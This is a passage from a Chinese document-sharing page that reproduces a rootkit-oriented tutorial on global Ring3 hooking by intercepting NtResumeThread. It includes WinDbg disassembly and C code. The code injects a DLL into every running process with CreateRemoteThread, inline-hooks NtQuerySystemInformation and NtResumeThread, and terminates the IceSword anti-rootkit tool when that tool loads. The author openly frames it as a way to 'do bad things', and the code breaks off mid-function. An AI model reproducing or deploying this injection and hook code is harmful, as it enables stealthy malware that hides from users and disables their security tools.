挂钩 NtResumeThread 实现全局Hook.docx

上传人:b****7 文档编号:10896787 上传时间:2023-02-23 格式:DOCX 页数:16 大小:20.49KB
下载 相关 举报
挂钩 NtResumeThread 实现全局Hook.docx_第1页
第1页 / 共16页
挂钩 NtResumeThread 实现全局Hook.docx_第2页
第2页 / 共16页
挂钩 NtResumeThread 实现全局Hook.docx_第3页
第3页 / 共16页
挂钩 NtResumeThread 实现全局Hook.docx_第4页
第4页 / 共16页
挂钩 NtResumeThread 实现全局Hook.docx_第5页
第5页 / 共16页
点击查看更多>>
下载资源
资源描述

挂钩 NtResumeThread 实现全局Hook.docx

《挂钩 NtResumeThread 实现全局Hook.docx》由会员分享,可在线阅读,更多相关《挂钩 NtResumeThread 实现全局Hook.docx(16页珍藏版)》请在冰豆网上搜索。

挂钩 NtResumeThread 实现全局Hook.docx

挂钩NtResumeThread实现全局Hook

http:

//binyang.org/File/Safe/Programming/2008101720.html

挂钩NtResumeThread实现全局Hook

浏览统计:

14

创建时间:

2008-10-17

文章提交:

Admin

挂钩一直是Hack编程中永恒的主题,基本高级的Rootkit程序多多少少都会使用Hook技术。

似乎Hook都被讲烂了,不论是Ring3的还是Ring0的网上都有例子。

Ring0的毋庸置疑当然是全局的了,这里说说ring3的全局hook。

Ring3有Ring3的优势,稳定是压倒一切的,

因此Mcafee和其他一些商业的安全软件都还是使用了Ring3的Hook技术,无论如何用户是无法接受蓝屏和死机的。

感兴趣的可以装个Rootkitunhooker自己看看。

:

1.以往的Ring3全局Hook

纵观网上流行的全局Hook程序都只用了一个WindowsAPI,SetWindowsHookEx,此函数原型:

HHOOKSetWindowsHookEx(     

   intidHook,

   HOOKPROClpfn,

   HINSTANCEhMod,

   DWORDdwThreadId

);

idhook  安装的钩子类型,如WH_GETMESSAGE,WH_KEYBOARD等

lpfn    hookprocedure的指针

hmod    包含hookprocedureDLL的handle

dwThread为0

使用这个这个API时候有问题的,只能挂接系统中的所有GUI线程,换句通俗的话说就是有界面

的程序,Windowsconsole类的程序就无能为力了。

还有一种通过插入注册表来实现

HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT\CurrentVersion\Windows\AppInit_DLLs

这种方法简单,但是还是只能挂钩GUI程序,并且这个键值已经被广大HIPS所关注,吃力不讨好。

以上两种效果不好,因此有人有开始另外的做法,枚举所有进程,插入和挂钩NtCreateProcess

这是非常自然的想法,似乎也把问题解决了,但是仔细思考一下,就会发现很多问题。

a.时机不对,在NtCreateProcess函数被调用时进程并没有真正被创建,我们无法执行HOOK操作,

  而当NtCreateProcess返回时,进程又已经开始运行

b.如果是Windowsconsole创建的进程,你如何去监控这个调用呢?

这么说似乎比较抽象,你可

  以这么理解,直接在命令行下,cmd,cmd,cmd....你可以监控到最后一个cmd吗,如果只

  用SetWindowsHookEx

c.是否正好站在了华容道,是否足够底层。

似乎很费劲

2.分析系统创建进程过程,寻找方法

关于这方面内容,可以参考毛德操老师的两篇文章

《漫谈兼容内核之十七:

再谈Windows的进程创建》

《漫谈兼容内核之二十二:

Windows线程的调度和运行》

下面是他的blog链接:

CreateProcess是Kernel32.dll的导出函数。

操起WinDbg,剁了一下:

Windows2003SP2

lkd>ufCreateProcessW

kernel32!

CreateProcessW:

7c8024748bff            mov    edi,edi

7c80247655              push   ebp

7c8024778bec            mov    ebp,esp

7c8024796a00            push   0x0

7c80247bff752c          push   dwordptr[ebp+0x2c]

7c80247eff7528          push   dwordptr[ebp+0x28]

7c802481ff7524          push   dwordptr[ebp+0x24]

7c802484ff7520          push   dwordptr[ebp+0x20]

7c802487ff751c          push   dwordptr[ebp+0x1c]

7c80248aff7518          push   dwordptr[ebp+0x18]

7c80248dff7514          push   dwordptr[ebp+0x14]

7c802490ff7510          push   dwordptr[ebp+0x10]

7c802493ff750c          push   dwordptr[ebp+0xc]

7c802496ff7508          push   dwordptr[ebp+0x8]

7c8024996a00            push   0x0

7c80249be8a6ac0200      call   kernel32!

CreateProcessInternalW(7c82d146)

7c8024a05d              pop    ebp

7c8024a1c22800          ret    0x28

lkd>ufCreateProcessInternalW

....

7c82cf8fff159814807ccalldwordptr[kernel32!

_imp__NtCreateProcessEx(7c801498)]

....

7c82daa2ff159414807ccalldwordptr[kernel32!

_imp__NtCreateThread(7c801494)]

....

7c82dbdcff158814807ccalldwordptr[kernel32!

_imp__NtResumeThread(7c801488)]

大概流程如下:

Kernel32!

CreateProcessW

Kernel32!

CreateProcessInternalW

ntdll!

NtCreateProcessEx

ntdll!

NtCreateThread

ntdll!

NtResumeThread

因为进程创建后,Windows必须为它创建一个主线程,然后等待操作系统调度它。

所以调用NtResumeThread的时候,就是我们Hook的最佳时机,因为此时创建进程的主要工作已经完成,

但是进程并没有调度起来,呵呵,方便干坏事啊。

3.具体代码实现

基本思路已经清晰了,这里还几个问题。

a.NtResumeThread函数并不是创建进程才调用,我们怎么区分出哪个是创建进程时

  调用的NtResumeThread呢?

其实现实起来不困难,先枚举系统进程一次,将系统进程中NtResumeThread都挂钩上。

每次拦截到

NTResumeThread是判断NtResumeThread的头几个字节是否已经被修改,如果没有则是创建新进程的调用。

b.用什么方法Hook,IAT、Inline?

总的架构?

 这种代码写起来还是InlineHook来的舒服,修改函数调用头几个字节。

 枚举系统所有进程是不可避免的,因此要写个loader将我们编写的DLL插入系统所有进程。

发现有进进程

 创建时,将DLL插入新进程。

 下面代码演示,HookNtQuerySystemInformation,因为篇幅等原因只有整体框架和关键代码。

 Hook也不是不是我们这次的主要内容,感兴趣的可以参考

 

c.在多线程的环境下是否可靠?

  

 使用关键代码段,互斥锁,效果还可以。

Loader:

voidinject(HANDLEhProcess){

charCurPath[256]={0};

   strcpy(CurPath,"C:

\\WINDOWS\\system32\\Hook.dll");

   PWSTRpszLibFileRemote=NULL;

   intlen=(lstrlen(CurPath)+1)*2;

   WCHARwCurPath[256];

   MultiByteToWideChar(CP_ACP,0,CurPath,-1,wCurPath,256);

   pszLibFileRemote=(PWSTR)VirtualAllocEx(hProcess,

                                            NULL,

                                            len,

                                            MEM_COMMIT,

                                            PAGE_READWRITE);

   WriteProcessMemory(hProcess,pszLibFileRemote,

           (PVOID)wCurPath,len,NULL);

   PTHREAD_START_ROUTINEpfnThreadRtn=(PTHREAD_START_ROUTINE)

       GetProcAddress(GetModuleHandle(TEXT("Kernel32")),"LoadLibraryW");

   CreateRemoteThread(hProcess,

                      NULL,

                      0,   

                      pfnThreadRtn,

                      pszLibFileRemote,

                      0,

                      NULL);

}

voidTotalInject()

{

   HANDLE        hProcessSnap=NULL;

   BOOL          bRet     =FALSE;

   PROCESSENTRY32pe32     ={0};

   // Takeasnapshotofallprocessesinthesystem.

   EnableDebugPrivilege

(1);

   hProcessSnap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);

   if(hProcessSnap==INVALID_HANDLE_VALUE)

       return;

   // Fillinthesizeofthestructurebeforeusingit.

   pe32.dwSize=sizeof(PROCESSENTRY32);

   // Walkthesnapshotoftheprocesses,andforeachprocess,

   // displayinformation.

   if(Process32First(hProcessSnap,&pe32))

   {

       do

       {

               HANDLEhProcess;

               //Gettheactualpriorityclass.

               hProcess=OpenProcess(PROCESS_ALL_ACCESS,

                                       FALSE,

                                      pe32.th32ProcessID);

       inject(hProcess);

       CloseHandle(hProcess);

          

       }

       while(Process32Next(hProcessSnap,&pe32));

   }

   //Donotforgettocleanupthesnapshotobject.

       EnableDebugPrivilege(0);

   CloseHandle(hProcessSnap);

   return;

}

Hook.dll:

关键代码

#include"stdafx.h"

#include

BOOLg_bHook=FALSE;

typedefLONGNTSTATUS;

#defineSTATUS_SUCCESS              ((NTSTATUS)0x00000000L)

#defineSTATUS_ACCESS_DENIED        ((NTSTATUS)0xC0000022L)

#defineSTATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)

typedefULONGSYSTEM_INFORMATION_CLASS;

typedefULONGTHREADINFOCLASS;

typedefULONGPROCESSINFOCLASS;

typedefULONGKPRIORITY;

#defineMEMORY_BASIC_INFORMATION_SIZE28

typedefstruct_THREAD_BASIC_INFORMATION{

   NTSTATUSExitStatus;

   PNT_TIBTebBaseAddress;

   CLIENT_IDClientId;

   KAFFINITYAffinityMask;

   KPRIORITYPriority;

   KPRIORITYBasePriority;

}THREAD_BASIC_INFORMATION,*PTHREAD_BASIC_INFORMATION;

typedefstruct_PROCESS_BASIC_INFORMATION{//InformationClass0

NTSTATUSExitStatus;

PVOIDPebBaseAddress;

KAFFINITYAffinityMask;

KPRIORITYBasePriority;

ULONGUniqueProcessId;

ULONGInheritedFromUniqueProcessId;

}PROCESS_BASIC_INFORMATION,*PPROCESS_BASIC_INFORMATION;

typedefNTSTATUS(__stdcall*NTQUERYSYSTEMINFORMATION)(

 INSYSTEM_INFORMATION_CLASSSystemInformationClass,

 OUTPVOID              SystemInformation,

 INULONG               SystemInformationLength,

 OUTPULONG             ReturnLengthOPTIONAL);

typedefNTSTATUS(__stdcall*NTRESUMETHREAD)(

INHANDLEThreadHandle,

OUTPULONGPreviousSuspendCountOPTIONAL

);

typedefNTSTATUS(__stdcall*NTQUERYINFORMATIONTHREAD)(

 INHANDLEThreadHandle,

 INTHREADINFOCLASSThreadInformationClass,

 OUTPVOIDThreadInformation,

 INULONGThreadInformationLength,

 OUTPULONGReturnLengthOPTIONAL);

typedefNTSTATUS(__stdcall*NTQUERYINFORMATIONPROCESS)(

INHANDLEProcessHandle,

INPROCESSINFOCLASSProcessInformationClass,

OUTPVOIDProcessInformation,

INULONGProcessInformationLength,

OUTPULONGReturnLengthOPTIONAL);

NTQUERYSYSTEMINFORMATIONg_pfNtQuerySystemInformation=NULL;

NTRESUMETHREADg_pfNtResumeThread=NULL;

BYTEg_OldNtQuerySystemInformation[5]={0},g_NewNtQuerySystemInformation[5]={0};

BYTEg_OldNtResumeThread[5]={0},g_NewNtResumeThread[5]={0};

DWORDdwIdOld=0;

CRITICAL_SECTIONcs;

NTSTATUS__stdcallNewNtQuerySystemInformation(

           INULONGSystemInformationClass,

           INPVOIDSystemInformation,

           INULONGSystemInformationLength,

           OUTPULONGReturnLength);

NTSTATUS__stdcallNewNtResumeThread(INHANDLEThreadHandle,

OUTPULONGPreviousSuspendCountOPTIONAL);

voidWINAPIHookOn();

voidWINAPIHookOff();

BOOLAPIENTRYDllMain(HANDLEhModule,

                      DWORD ul_reason_for_call,

                      LPVOIDlpReserved)

{

   switch(ul_reason_for_call)

   {

       caseDLL_PROCESS_ATTACH:

       {

            InitializeCriticalSection(&cs);

            charName[MAX_PATH]={0};

            GetModuleFileName(NULL,Name,MAX_PATH);

            //杀杀冰刃玩玩

            if(strstr(Name,"IceSword.exe")!

=NULL)

            {

               HANDLEhProcess=OpenProcess(PROCESS_ALL_ACCESS,

                                             0,

                                             GetCurrentProcessId());

               TerminateProcess(hProcess,0);

               CloseHandle(hProcess);

            }

           if(!

g_bHook)

           {

               HookOn();

           }

           #ifdef_DEBUG

              MessageBox(NULL,"ProcessAttach","RemoteDll",MB_OK);

           #endif

       }

           break;

       caseDLL_THREAD_ATTACH:

           

           break;

       caseDLL_THREAD_DETACH:

           break;

       caseDLL_PROCESS_DETACH:

       if(g_bHook)

       {

           HookOff();

#ifdef_DEBUG

           MessageBox(NULL,"Off!

","HookOff",MB_OK);

#endif   

           DeleteCriticalSection(&cs);

           

       }

       break;

   }

       returnTRUE;

}

BOOLEnableDebugPrivilege(BOOLfEnable){

  //Enablingthedebugprivilegeallowstheapplicationtosee

  //informationaboutserviceapplications

  BOOLfOk=FALSE;   //Assumefunctionfails

展开阅读全文
相关资源
猜你喜欢
相关搜索

当前位置:首页 > 高等教育 > 艺术

copyright@ 2008-2022 冰豆网网站版权所有

经营许可证编号:鄂ICP备2022015515号-1